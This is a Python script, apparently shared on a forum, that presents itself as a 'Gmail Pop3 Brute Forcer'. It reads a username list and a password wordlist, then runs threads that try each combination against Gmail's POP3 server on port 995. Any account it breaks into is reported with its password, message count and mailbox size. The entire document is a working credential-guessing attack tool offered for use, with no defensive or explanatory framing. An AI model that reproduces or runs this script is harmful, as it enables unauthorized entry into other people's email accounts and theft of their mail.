Код:
        #!usr/bin/python
#Gmail Pop3 Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
   print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
   print "\t   --------------------------------------------------\n"
   print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
   sys.exit(1)
   
server = "pop.gmail.com"
success = []

try:
     users = open(sys.argv[1], "r").readlines()
except(IOError): 
     print "[-] Error: Check your userlist path\n"
     sys.exit(1)
  
try:
     words = open(sys.argv[2], "r").readlines()
except(IOError): 
     print "[-] Error: Check your wordlist path\n"
     sys.exit(1)
   
try:
   pop = poplib.POP3_SSL(server, 995)
   welcome = pop.getwelcome()
   pop.quit()
except (poplib.error_proto): 
   welcome = "No Response"
   pass

print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t   --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
   for word in wordlist:
      words.append(word)

def getword():
   lock = threading.Lock()
   lock.acquire()
   if len(words) != 0:
      value = random.sample(words,  1)
      words.remove(value[0])
      
   else:
      print "[-] Reloading Wordlist - Changing User\n"
      reloader()
      value = random.sample(words,  1)
      users.remove(users[0])
      
   lock.release()
   if len(users) ==1:
      return value[0], users[0]
   else:
      return value[0], users[0]
      
class Worker(threading.Thread):
   
   def run(self):
      value, user = getword()
      user = user.replace("\n","")
      value = value.replace("\n","")
      
      try:
         print "-"*12
         print "[+] User:",user,"Password:",value
         pop = poplib.POP3_SSL(server, 995)
         pop.user(user)
         pop.pass_(value)
         print "\t\t\n\nLogin successful:",user, value
         print "\t\tMail:",pop.stat()[0],"emails"
         print "\t\tSize:",pop.stat()[1],"bytes\n\n"
         success.append(user)
         success.append(value)
         success.append(pop.stat()[0])
         success.append(pop.stat()[1])
         pop.quit()
      except (poplib.error_proto), msg: 
         #print "An error occurred:", msg
         pass

for i in range(len(words)*len(users)):
   work = Worker()
   work.start()
   time.sleep(1)
if len(success) >=1:
   print "\n\n[+] Login successful:",success[0], success[1]
   print "\t[+] Mail:",success[2],"emails"
   print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done"